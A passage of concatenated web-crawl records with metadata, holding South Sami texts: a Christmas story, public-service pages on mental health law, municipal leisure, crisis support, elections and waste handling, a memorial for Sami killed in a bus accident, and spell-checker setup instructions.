amma dihte reajnoemaennie eelki rontestalledh:\n– Magkeres jijje lidtjie daate, juktie bienjh eah gaetskieh, sirvh eah billh, saejtie ij buvvieh jih sjijlh eah snjierpedh?\nDam ammes almam tjøørvi bååstede jih gihtji:\n– Mij amma jijjede lea daate? Mestie dam gaajhke dutnjien aarmohkevoetem vuesehte?\nAlma jis vaestede:\n– Im manne maehtieh jiehtedh, jis ih jijtje vuejnieh. Jih dle vaarreste, gåmmabasse jih maanese dållem biejedh.\nMohte reajnoemaennie sijhti daejredh mestie dam gaajhke nimhtie. Tjuedtjeli jih minngesne veedtsi goskh bøøti dahkoe gusnie dihte alma årroeminie.\nDellie vuajna dan alman ij enne gåetie gænnah, jællan staellie. Reajnoemaennie ussjede dihte vellien maana sån amma gåalole. Jih dihte, gie maaje dan krænkoeh jih måarehke lij, dihte faahketji dabta satne jis sæjhta dam maanetjem viehkiehtidh. Veelkes møøvhkes sirven-dualjetjem voesseste sigkie. Dam geelkie dan almese jih jeahta edtja maanam dan nille biejedh, gosse edtja åeredh. Jih dallah goh lij vuesiehtamme satne aaj maahta aarmohks årrodh, dellie altese tjelmieh rihpesovvin. Dellie vuajna maam ij leah aerebi maahteme vuejnedh, jih gåvla maam ij leah aerebi maahteme govledh. Vuajna sov bijre leah eengkelh silpe-såajoej gujmie gievlien tjåadtj oeminie. Fiereguhte dejstie strientje-tjoej ehtahkine gietesne jih gaajhkesh leah laavloeminie:\n– Daan jijjen lea Lutnjiestæjja reakasovveme – gie almetjidie edtja sådtojste lutnjiestidh.\nDellie guerkehte – gaajhke lea daan jijjen dan aavosne, guktie ij guhte sijhth giejnie nåake årrodh. Jih ij lin gujht barre ryøjnesjæjjan bijre dam eengkelh. Gaajhkene lehkesne eengkelh vuajna. Staellien sisnie leah tjahkan, ålkoelisnie, baektiebaahkoeh leah tjahkan jih abpe elmie lea dieves.\nGeajnoeraejkieh, baalkaraejkieh båetieh vaalmerden, jih gosse dan staellien baaktoe båetieh dellie tjøødtjehtieh, jih gaajhkene lehkesne govloe laavloeminie jih skovhtjeminie.\nGaajhkem dam dihte båeries ryøjnesjæjja dan sjuevnjedes jijjen vuajna, gusnie ij aerebi maam gænnah vuajneme. Dan geerj ene sjædta, juhkoe altese tjelmieh leah rihpesovveme, guktie boelvhjøølki slienhkehte jih Jupmelem gæjhta.\nJih dam maam dihte ryøjnesjæjja vøøjni, dam mijjieh aaj maehtiejibie vuejnedh, juhkoe eengkelh leah fierhten jååvlejijjen haalahtalleminie, jis barre buektiehtibie vueptiestidh. Jih dam edtjh mujhtedh:\nIj tjoevkesistie jallh laamhpeste dihte båetieh, ij biejjeste jallh askeste gænnah. Daerpies leah dagkerh tjelmieh guktie maehtiejibie vuejnedh Jupmelen hearlohkevoetem.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/sijtijarnge.no\/dihte-eejles-jijje\/","date":"2018-08-21T02:47:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221217909.77\/warc\/CC-MAIN-20180821014427-20180821034427-00148.warc.gz","language":"sma","language_score":0.9998919964,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"sma_Latn_score\": 0.999891996383667}","num_words":726,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Psykiske healsoe\nÅejvieladtjh sijhtieh faalenassem almetjidie psykiske vaejvemigujmie nænnoestehtedh. Tjïeltine dle vijriesåbpoe evtiedimmie jïh kvaliteete dennie psykiske healsoebarkosne jarngesne, jïh dam ektesne vuejnieh heerreden barkojne geeruvevoeten vööste jïh almetjehealsoebarkojne. Fylhkenålma raerieh jïh bïhkedimmiem vadta tjïeltide.\nTjabrehtamme psykiske healsoevaarjelimmie\nMaahta tjabrehtamme psykiske healsoevaarjelimmiem ajve nåhtadidh gosse jïjtjevyljehke psykiske healsoevaarjelimmiem pryöveme bielelen daate gaagnine orreme, jallh vuajna ij leah naan måane dam pryövedh.\nStriengkies krïevenassh bïejesuvvieh gosse edtja tjabrehtamme psykiske healsoevaarjelimmiem nåhtadidh. Skïemtjije tjuara aktem ietjmies aejvereskïemtjelassem utnedh jïh lissine båehtjierdimmievæhtan jallh vaahravæhtan nualan båetedh. Båehtjierdimmievæhta jeahta tjabrehtimmie lea daerpies olles skïemtjije edtja vïerrebe sjïdtedh, jallh olles bueriedimmienuepieh edtjh geahpanidh. Vaahravæhta sæjhta jiehtedh skïemtjije lea akte vaahra jïjtse jallh mubpiej hïegkese jallh healsose.\nTjabrehtamme båehtjierdimmie\nPsykiske healsoevaarjelimmielaake nuepiem vadta skïemtjijh goerehtidh jïh båehtjierdidh bielelen luhpiehtimmie. Tjuara jïjtjevyljehkevoetem pryöveme, jïh tjuara tjïelke årrodh båehtjierdimmie sæjhta darjodh guktie skïemtjie buerebe jallh tjarres sjædta, jïh ij vïerrebe sjïdth. Båehtjierdimmie bielelen luhpiehtimmie maahta årrodh bådtjabåehtjierdimmie jallh soptsestimmieh, jïh dam maahta skïemtjijidie vedtedh tjabrehtamme psykiske healsoevaarjelimmien nuelesne, dovne abpe dygnen skïemtjegåetieviesehtimmesne jallh bielelen skïemtjegåetesne årrodh abpe dygnen.\nÅtnoe tjabrehtimmievierhtijste\nPsykiske healsoevaarjelimmielaakesne golme såarhts tjabrehtimmievierhtieh, mejtie maahta institusjovnine nåhtadidh dejtie skïemtjijidie mah leah jïjtjevyljehke skïemtjegåetesne, jallh skïemtjijh mah leah tjabrehtimmien nuelesne. Daate lea mekanihkeles tjabrehtimmievierhtieh (beelhth jïh garhtsh), oktegimse årrodh jïh bådtjah mah leah gaagnine åenehks boelhken.\nKlååkemeöörnegh\nEdtja nænnoestimmiem laejhtedh tjabrehtamme psykiske healsoevaarjelimmien bïjre, åtnoe tjarbehtimmievierhtijste jïh reaktagaertjiedamme råajvarimmieh kontrollkommisjovnese seedtedh, mearan nænnoestimmie tjarbehtimmiebåehtjierdimmien bïjre seedtesåvva Fylhkenålmese.","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.fylkesmannen.no\/sma\/Healsoe-jih-hokse\/Psykiske-healsoe\/","date":"2018-08-17T23:30:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221213158.51\/warc\/CC-MAIN-20180817221817-20180818001817-00461.warc.gz","language":"sma","language_score":0.9999803305,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"sma_Latn_score\": 0.9999803304672241}","num_words":230,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nJeerehts eatneme jïh ræjhkoes siebriedahkejieleme darjoeh Orrestaare maam akt åtna jeenjemes ïedtjide.\nGaarsjelimmie\nGaarsjelimmesne gellie meatan Orrestaaresne. Arenesne Fjällräven Center hïejmelaage Modo jïengehockyem spealede. Staaresne aaj savkah gusnie maahta tjengkerem tjïektjedh, sis-bandyem jïh curlingem spealadidh jïh aaj Skyttis gaarsjelimmiesijjie gusnie frijjeidrotte jïh tjoejkeme. Paradiset lea beagkoes laavkomesijjie gusnie spa jïh sauna. Voejemesavkah, jïengesjåljoeh jïh gaarjeslimmiegïejh tjoevkesinie gellie sijjine gååvnesieh.\nEatneme\nSeamma saaht gusnie tjïeltesne årroeh jallh årroeminie, eatneme daan lïhke. Daesnie skåajjebaalkah jïh vaedtsemebaalkah, laategh jïh gïerestallemedeavah. Mearoe, jaevrieh jïh jeanoeh böörieh göölemasse, laavkoemasse jïh vïnhtsenjïelemasse.\nDïhte sveerjen Allemansrätten reaktah eatnamisnie vadta. Mohte dïhte aaj kreava mijjieh mijjen dïedtem vaeltebe jïh sjædtoeh, juvrh jïh byjresem krööhkestibie. Naturvårdsverkets webbesijjesne maahtah dan njoelkedassi bïjre.\nStååkedimmiesåafoeh\nGellie sijjine stååkedimmiesåafoeh gååvnesieh lustes gaevnieh, buertieh, bïenghkh jïh bïssemesijjieh gusnie abpe fuelhkie murrede.\nEejehtimmiegaertenh\nEejehtimmiegaertenh noeride leah desnie: Bjästa, Björna, Bredbyn, Domsjö, Gideå, Gullänget, Husum, Järved, Mellansel jïh Själevad. Orrestaaren jarngesne lea eejehtimmiegaertene Sliperiet. Eejhteginie datne eejnegen maahtah guessine eejehtimmiegaertienasse båetedh.\nGærjagåetie\nArkengærjagåetesne Orrestaaresne maahtah gærjah ovmessie gïeline löönedh, filmh jïh musihkh löönedh, plaerieh lohkedh jïh gaskeviermiem nåhtadidh. Maanide vaajeseståanth jïh teaterem öörnie jïh aaj darjomh mejstie maanah sijhtieh lohkedh.\nVoenges gærjagåetieh leah desnie: Bjästa, Björna, Bredbyn, Husum, Själevad, Skorped, Trehörningsjö jïh Nolaskolan jïh Parkskolan Orrestaaresne.\nMuseume, kåanste jïh musihke\nOrrestaaren museeumisnie jïh kåanstesalkesne maahtah vuesiehtimmieh vuejnedh jïh dajven histovrijem vuartasjidh. Gåetievoenegaertenh voenges kultuvreaerpiem vuesiehtieh. Vïerhkh skulptööreste Bror Marklund leah Orrestaaren museumen lïhke. Keramihkh mah Hans Hedberge lea dorjeme gåetesne Arken vuesehte. Nätra jeanoen mietie High Coast Art Valley jåhta kåanstevïerhkh eatnamisnie tjåadtjoen.\nOvmessie sijjieh gååvnesieh teateridie jïh musihkide. Gideåesne maahtah vuejnedh ryöktesthseedteme operam destie stoerre sceneste Europesne.\nSiebresne meatan\nHijven vuekie orre sijjiem jïh orre almetjh damtedh lea seabran tjaangedh. Tjïelten siebriebyråe maahta datnem viehkiehtidh siebriem gaavnedh mij darjomem faala maam datne sïjhth. Gaskesadth siebriebyråem: 0660-882 15, e-påaste: firstname.lastname@example.org.\n.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/www.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/eejehtimmiejihkultuvre.4.4c4feec515e441a88a91fa57.html","date":"2018-08-17T09:40:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221211935.42\/warc\/CC-MAIN-20180817084620-20180817104620-00613.warc.gz","language":"sma","language_score":0.999987483,"language_script":"Latn","minhash_cluster_size":47,"top_langs":"{\"sma_Latn_score\": 0.9999874830245972}","num_words":295,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dej minngemes vuelkeme ij lij dossjes\nRaarvihken gærhkoe lea dïeves maadtoeladtjijstie dejstie mah ovlæhkosne faaradin. Tjïjhtje dejstie 16 mah faaradin lin dehtie onne voeneste. Biejjie guaka balvi tjïrrh mah leah voenen bijjelen orreme dej minngemes biejjiej. Mijjieh libie tjåanghkenamme juktie mujhtedh dejtie mah 70 jaepiej juassah Nöörjen Båatsoesaemiej Rijhkesiebriem tseegkin, men mah idtjin gåessie gih gåetide båetieh dehtie histovrijes tjåanghkoste Romsesne.\nSaemiedigkiepresidente måjhteli dejtie mah jeemin\nDej gaskem mah leah meatan mujhtemeståantesne lea Inge Toven. Dïhte vïellebem dassi Dunderland-ovlæhkosne. Mænngan Axel Toveninie pruvri mij lij akte dejstie njieljijste mah bïerkenin ovlæhkosne. Axel gåmmebem Lisa Jåma ovlæhkosne dassi. Daelie Inga aarpije, men ovlæhkoem veele måjhta, jïh daajra maam dïhte ovlæhkoe darjoeji dejnie onne siebriedahkine. Jienebh sijjen fuelhkielïhtsehkh dassin jïh siebriedahke tjiehpies båatsoealmetjh jïh politihkerh dassi.\nSaemiedigkiepresidente Aili Keskitalo bæjjese vaadtsa jïh mujhtemeståantem daej baakoejgujmie aalka:\n– 70 jaepieh vaaseme dan isveligke biejjien mænngan, sårkoe annje daesnie, ij mahte gåaredh ussjedidh guktie daate lea gellie fuelhkieh tsavtseme. Dah lin gåatan vuelkieminie akten stoerre jïh vihkeles heannadimmien mænngan ij ajve båatsoesaemide, men aaj dan saemien byjresasse.\nMaahtam damtedh dam aavoem dah lin tjoereme utnedh gosse minngemosth lin aktem siebriem buektiehtamme, dïhte mij NBR sjïdti. Mijjieh daejrebe daennie dajvesne almetjh stoerre saejrieh åådtjeme jïh gaskoeh dam aavoem, gosse dah saahtah lin buektiehtamme daam kolonialiseradimmiem vuastalidh, daate ovlæhkoe dan ålvoes stoerre sjïdti. Dah mah lin njueniehkisnie gæmhpoeminie gaarvanin, guvhkiehtæjjaj tjoevkese jamhkeli. Manne daajram sårkoe maahta dan gaajh stujmies årrodh jalhts eevre sjaevehts mijjen bïjre. Ibie edtjh gåessie gænnah åajaldidh dam eadtjohkevoetem jïh dam barkem maam daah 16 darjoejin abpe saemien byjresen gaavhtan, Keskitalo minngemosth jeahta.\nNBR:m tseegki\nNBR:n åejvie Ellinor Marita Jåma håalomestovlese vaadtsa, goltelæjjide vuartesje jïh sov mujhtemehåalomem buakta.\n–Varke lij giesie, såekieh lin kråånedamme jïh jeanoeh lin dolvehke. Doh aadtjetje guedteme miesieh lin aalkeme veartenem goerehtidh. Dovne almetjh jïh bovtsh aavoedin akte guhkies daelvie lij nåhkeme. Dah lin sån lissie stoerre veanhtadimmieh åtneme dah 92 saadthalmetjh mah lin Romsesne tjåanghkenamme don baelien. Jeenjesh aktem guhkies jïh streavere vuelkemem åtneme, men ij lij dïhte vihkeles gænnah gosse måjhtele dam sjaavnjoem maam utnin, båatsoesaemiej aamhtesh biejjieöörnegasse bïejedh. Rijhketjåanghkosne, dej minngemes biejjiej ruffien 70 jaepiej juassah, NBR byjjeslaakan tseegkesovvi, desnie mieriedimmieh nænnoestin jïh vihkeles aamhtesh goh skuvle jïh kultuvre digkiedin. Maahtam mahte damtedh man hijvenlaakan gaajhke domti gosse lin meatan aktene dagkeres stoerre heannadimmesne. Jïh idtjin daejrieh daate aavoe dan varke edtji ovlæhkose jïh sårkose jorkesidh.\n16 faaradin\n39 saadthalmetjh lin åarjelsaemien dajveste, jïh 22 dejstie lin bussem ektesne leejjeme Stïentjeste juktie rijhketjåanghkose Romsesne mïnnedh, jïh busse lij gaajh nåake. Gosse Dunderland-daelien gåajkoe böötin akte gaengkere bussesne mårhkani. Jïh dan åvteste busse geajnoste vuaja jïh Raanejeanoen sïjse haajpene mij lea eevre dolvehke. Jalhts gaajhkesh dovnesh voejhkelieh bïerkenidh dellie ajve 4 dejstie mah bïerkenieh. 16 almetjh åarjelsaemien dajveste faaradin dennie vesties ovlahkosne jïh gellie fuelhkieh sijjen lïhke fuelhkielïhtsegh dassin. Åarjelsaemien dajve dennie isveligke ovlæhkosne dan joekoen gellie årganisasjovnealmetjh dassin guhkiem åvtese.\n–Daan biejjien maahtam daesnie tjåadtjodh goh akte joekoen garmeres åejvie daehtie årganisasjovneste mij våaromem bïeji dan barkose maam daan biejjien darjobe. Sïjhtem aktem sjaevehts gæjhtoem vedtedh dan barkose maam dah darjoejin, jïh mijjieh daejrebe dej minngemes vuelkeme ij lij dossjes gænnah, Jåma minngemosth jeahta åvtelen sjaevehts aktem minudtem dej åvteste mah faaradin.\nVihkeles guvhkiehtæjjah dassin\nMujhtemeståanten mænngan Jåma soptseste ovlæhkoe lea satnem meatan orreme abpe jieledem.\n–Manne hov daejnie ovlæhkojne byjjenamme dan åvteste mov fuelhkeste dan jeenjesh jeemin. Manne hov vuajnam man isveligke daate ovlæhkoe lij fuelhkide, men mijjieh aaj gellie åejvieh jïh guvhkiehtæjjah dassin. Daate lij eadtjohke almetjh jïh manne tjarke damtem åarjelsaemien dajve ånnetji tjåadtjoen sjïdti, jaa gellielaakan eevre daan biejjien raajan gosse dan gellie vihkeles almetjh gaarvanin gellijste fuelhkijste. Daate akte ovlahkoe mij annje jielieminie mov boelvesne, 70 jaepieh mænngan. Tuhtjem hijven mijjieh aktem dagkeres mïerhkesjimmiem utnebe juktie mujhtedh jïh ånnetji tjöödtjestidh jïh bååstede vuejnedh gusnie jïh gïeh daam eelkin, juktie jis dah almetjh eah lin dan eadtjohke orreme, dellie im manne daesnie tjåådtjeme daan biejjien, Jåma minngemosth jeahta.\nJarkoestimmie: Ellen Bull Jonassen","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/samimag.no\/sma\/content\/dej-minngemes-vuelkeme-ij-lij-dossjes","date":"2018-09-25T21:39:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267162385.84\/warc\/CC-MAIN-20180925202648-20180925223048-00128.warc.gz","language":"sma","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999927282333374}","num_words":637,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoe eatnemen-baakoej bïjre lij maahtoem mij lij joekoen vihkeles dej beeli utnedh. Daaletje aejkesne leah seamma vihkeles dam maahtoem utnedh, jalhts daelie almetjh aelkieminie dejtie åajaldaehtedh. Dan åvteste mijjieh daam sæjroem tseegkeme. Daennie sæjrosne mijjieh jijnjemes baakojde eatnemen bïjre tjöönghkeme. Daesnie maahta filmh jïh animasjovnh guktie laante vååjnoe vuartasjidh jïh baakoeh disse lïeredh. Lissine disse baakoe-læstoe gååvnese, jeenjemes baakojste leah Åarjelsaemien- daaroen baakoegærjeste tjöönghkeme. Ulmie-dåehkie daennie sæjrosne lea dovne learohkh maana, noere jïh jåarhkeskuvlide. Menh aaj mubpide mah iedtjem utnieh åarjelsaemien eatneme-goerkesimmine.\nFør i tiden var det veldig viktig å kunne benevnelser på landskapsformasjoner. Benevnelsene er like viktige i dag, men blir ikke brukt så mye som før. Derfor har vi laget dette nettstedet hvor mesteparten av ordene om dette emne er samlet. Her finnes det noen filmer og animasjoner om hvorledes landskapet ser ut samt hvilke termer som brukes på disse. I tillegg finnes det termlister, de fleste av disse er tatt ut av Åarjelsaemien – daaroen baakoegærja. Målgruppen for denne siden er elever i barne-, ungdoms- og videregående skole. Men også alle andre med et interesse av sørsamisk landskapsforståelse","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/eatneme.no\/","date":"2018-09-21T17:44:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267157351.3\/warc\/CC-MAIN-20180921170920-20180921191320-00470.warc.gz","language":"sma","language_score":0.9972363114,"language_script":"Latn","minhash_cluster_size":39,"top_langs":"{\"sma_Latn_score\": 0.9972363114356995}","num_words":180,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13.7 - 18:00\nPresidente Aili Keskitalo lea meatan daan jaepien EMRIP:sne Genevesne. EN:n ekspertemekanisme aalkoealmetji reaktaj åvteste (EMRIP) tseegkesovvi EN:n almetjereaktaraereste. EMRIP lea raerien eksperteårgaane gyhtjelassine aalkoealmetji reaktaj bïjre.\nEN lea nænnoestamme 2019 edtja Gaskenasjonaale jaepie aalkoealmetjegïelide årrodh. Aili Keskitalo lea veeljesovveme stuvremedåehkien sïjse goh arktiske tjirkije jïh akte tjåanghkoe lea soejkesjamme stuvremedåehkesne EMRIP:sne 2018.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/saemiedigkie.no\/Oeoernedimmieh\/EN-n-ekspertemekanisme-aalkoealmetji-reaktaj-aavteste-EMRIP-tjaaanghkoe-Geneve","date":"2018-09-19T04:51:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267155924.5\/warc\/CC-MAIN-20180919043926-20180919063926-00160.warc.gz","language":"sma","language_score":0.9996974468,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9996974468231201}","num_words":50,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie sijjiedehtedh jih utnedh programmem MacOS X:sne\nDivvun Mac:esne utnedh\nGosse datne MS Office:m rïhpestamme, dle tjoerh daatovrem stïlledh saemien gïelesne staeriedidh.Dam darjoeh seamma vuekien mietie guktie MS Office 2004:sne jïh MS Office 2008:sne.\n1. Mïerhkesjh saemien tjaaladahkem:\n2. Mïnnh menyesne Tools > Language… :\n3. Veeljh gïelem Katalanska ( Catalan ) jis lea noerhtesaemien tjaalege, veeljh Baskiska ( Basque ) jis lea julevsaemien tjaalege , jallh veeljh Slovakiska ( Slovak ) jis lea åarjelsaemien tjaalege ( 1):\n4. Jis datne jïjnjem saemiengïelese tjaalah, dle maahtah saemien voestesveeljemegïeline veeljedh orre tjaatsegidie. Dam hov naemhtie darjoeh: Diedtieh båaloem Default… (minngemes guvvie) jïh die diedtieh båaloem Yes :\n5. Daelie maahtah aelkedh saemien tjaeledh jïh prograamme datnem viehkehte rïekteslaakan tjaeledh:\nIj leah Microsoft daen raajan naan sjïere dovtegem dorjeme guktie saemien gïelide Mac:esne dåarjelidh, jïlhts dovtege MS Office:ese jïh Windows:ese gååvnese. Håhkoe lea ahte båetijebiejjide versjovnh MS Office:ese jïh Mac:ese aaj daam dovtegem åadtjoeh. Daen raajan tjoeveribie saemien gïelide jeatjah gïeline tjïelkestidh mah gååvnesieh MS Office:sne.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/divvun.no\/sma\/korrektur\/userdocs\/mac\/use-msoff-2008-sme-eng.html","date":"2018-09-18T16:31:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267155561.35\/warc\/CC-MAIN-20180918150229-20180918170229-00288.warc.gz","language":"sma","language_score":0.9999916553,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999916553497314}","num_words":147,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Funktionsmappar\nSovmh maanam ïrhkeme jallh njåvtasåvva, bieljeldh dallegh dåastovem telefovne 090-16 10 02.\nNyjsenæjjanraeffiedåastovisnie maahtah datne gie njåvtasovveme nyjsenæjja, aelhkies jïh jearsoes sijjie, ektesne reeremedåarjoem dov daarpoej mietie åådtje. Jis dov leah maanah dejtie aaj dåarjoem faala. Maahtah soptsestalleme dåarjoem, viehkiem gyhtjelassh ekonomijen jallh årromesijjien bïjre, viehkiem guktie reeremh ekstesne barkedh, dåakterem råakedh, eejhteghdåarjoem jallh tjaalasovvemem polijsesasse darjodh.\nÅlmadåastovisnie njåvtasovvemen vööste mijjieh profesjovnellij vuekiem barkebe alman njuvtemem lihke relasjovnesne. Ulmie njuvtemem orrije. Dutnjien sjïere soptsestallemem jallh tjïertebarkoem faala.\nSidan har granskats 2009-09-11\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/jarngenjavtasovvemenvooste.4.2aeb902411d30c9e460800061586.html","date":"2018-09-26T01:06:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267162809.73\/warc\/CC-MAIN-20180926002255-20180926022655-00020.warc.gz","language":"sma","language_score":0.9989523292,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.998952329158783}","num_words":117,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krirriem jïh persovnem tjaatsestidh\nVeeljijh krirriem tjaatsestieh jïh maehtieh seamma aejkien veeljemesïetelasse tjaelieh mij kandidaate dah sijhtieh veeljedh.\nDaam persovnem tjaatsestidh gohtje. Veeljije maahta persovnem tjaatsestidh jïh kroessem dan nommen lïhke bïejedh. Såemies aejkien maahta veeljije jïjtje kandidaatem nomineradidh jïh nommem veeljemesïetelasse tjaeledh. Jis tjaeleme kandidaate edtja maehtedh veeljeme sjïdtedh tjuara kandidaate dïsse åvtelhbodti jååhkesjidh.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/krirriem-jih-persovnem-tjaatsestidh.html","date":"2018-09-20T13:12:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156471.4\/warc\/CC-MAIN-20180920120835-20180920141235-00328.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":55,"character_repetition_ratio":0.133,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Siebredahkebïgkemekontovre, byjreske- jïh healsoevaarjelimmie edtjieh giehtjedidh guktie sorhpegïetedimmien systeme jåhta. Praktijhken barkoem Vakin dorje, tjïelten bolage tjaetside jïh sorhpegïetedimmide. Sorhpegïetedimmien leah dovne sorhpeveedtjeme systeme jïh bååstideåtnoe systeme. Sorhpem gåeteste veedtjie, daamtaj fierhten våhkoen våhkoe gaskesne. Åesiem maam sorhpeveedtjemem åvteste maaksa lea våaroemeåesie jïh aaj man löövles sorhpem lea gosse dam veedtjeme. Sorhpem vïekesje juktie sæjhta jeenjebh gelkieh sorhph juekedh jïh vihth nuhtjedh. Dah sorhph mah veedtjie Dåva kreptiebaahkevierhkese, noerhtelen Upmeje, vuaja gusnie dejtie buala jïh maajehtsbaahke sjædta jïh el-raavnije aktem dejstie veartenen radtjoes vierkeste.\nSorhpeste bååstideåtnoe lea bååstideåtnoecentralh, bååstideåtnoestasjovnh jïh byjreskestasjovnh. Dejtie gåetide jïh ij barkoejielemidie. Jis gåetieaajhtere dellie maahta aaj veeljedh jis sæjhta beapmoehsorhph sorhpeste juekedh. Dama provne sorhpebæhtose beaja jïh Vakin dam veedtjie jïh destie biogasproduksjovne sjædta. Maahta aaj beapmoehsorhph gåetesne komposteredh jïh destie buerie muelhtie åådtje. Komposterijesijjieh galka Upmeje tjïelten tjaalasåvva, byjreske- jïh healsoevaarjelimmie, telefovne: 090-16 16 97. Desnie aaj maahtah jeenjebh bïevnesh åadtjodh jïh raerieh guktie dam darjodh.\nSidan har granskats 2016-02-03\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/siebredahkehoksetimmieh\/sjiekedimmiesorhpegietedimmie.4.2aeb902411d30c9e460800061470.html","date":"2018-09-24T00:31:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267159938.71\/warc\/CC-MAIN-20180923232129-20180924012529-00228.warc.gz","language":"sma","language_score":0.9999685287,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999685287475586}","num_words":190,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åålmegemiehtjiem skaepede\nÅålmegemiehtjieh skaepede lea vuekie mijjen ektine eatneme- jïh kultuvreaerpiem gorredidh. Dïhte aaj dan gaavhtan tjaebpemes jïh jeenjemes vierhtieh bielieh sveerjen dajvijste åålmegemiehtjine gorredieh.\nÅssjele lea stuerebe tjåanghkan dajvem gorredidh sjïere eatnemesåarhtijste guktie itjmies orre jallh guktie lea jeenjemes ovjeatjahtehteme.\nFïerhte åålmegemiehtjie soejkesjem åtna mij buerkeste guktie dajvem geehtedh guktie dah eatnemevierhtieh edtja gorredidh. Vaarjelimmiem daarpesje dovne eatnemen sjïeke jïh aaj almetjen sjïeken åvteste.\nMannasinie Bijjie Spædtja-Bealjehkh-Helagsne?\nNaturvårdsverken åålmegemiehtjiesoejkesje jaepeste 2008 raeriestin 13 orre dajvh skaepede. Aktem daejstie lea Bijjie Spædtja-Bealjehkh-Helags. Dïhte nasjonaalen vierhtiem åtna juktie daesnie eatneme stoerre joekehtsinie pluevijste vaaran, geologijen hammoeh, jeatjahtehteme klijma, kultuvregïejh jïh sjïere sjædtoeh.\nEensi åvtegoerehtimmeste sjïdteme gellie aktöörh tuhtjin positijve lea vijriesåbpoe dejnie barkedh voejhkelieh åålmegemiehtjiem 